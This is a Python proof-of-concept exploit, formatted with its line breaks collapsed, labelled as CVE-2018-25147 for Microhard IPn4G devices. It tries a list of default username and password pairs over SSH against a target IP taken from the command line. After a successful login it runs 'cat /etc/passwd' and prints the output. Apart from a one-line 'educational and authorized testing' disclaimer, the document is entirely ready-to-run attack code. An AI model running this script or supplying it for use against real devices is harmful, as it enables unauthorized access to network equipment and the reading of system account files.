CVE-2018-25147

#!/usr/bin/env python3 # CVE-2018-25147 - Microhard IPn4G Hardcoded Credentials PoC # Note: This is for educational and authorized testing purposes only import socket import paramiko import sys from paramiko.ssh_exception import SSHException, AuthenticationException def test_default_credentials(target_ip, port=22): """Test for hardcoded default credentials on Microhard IPn4G devices""" # Known default credentials for Microhard IPn4G devices default_credentials = [ ('admin', 'admin'), ('admin', 'password'), ('root', 'root'), ('root', 'admin'), ('user', 'user'), ('admin', ''), ('root', ''), ] print(f"[*] Testing {target_ip} for CVE-2018-25147...") print(f"[*] Target port: {port}") for username, password in default_credentials: print(f"[*] Trying {username}:{password}") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(target_ip, port=port, username=username, password=password, timeout=10) print(f"[!] SUCCESS! Valid credentials found: {username}:{password}") # Execute test command stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd') output = stdout.read().decode() print(f"[+] Command output:\n{output}") ssh.close() return True except AuthenticationException: print(f"[-] Failed with {username}:{password}") except (SSHException, socket.timeout, ConnectionRefusedError) as e: print(f"[!] Connection error: {e}") return False except Exception as e: print(f"[!] Unexpected error: {e}") print("[*] No valid default credentials found") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 test_default_credentials(target, port)

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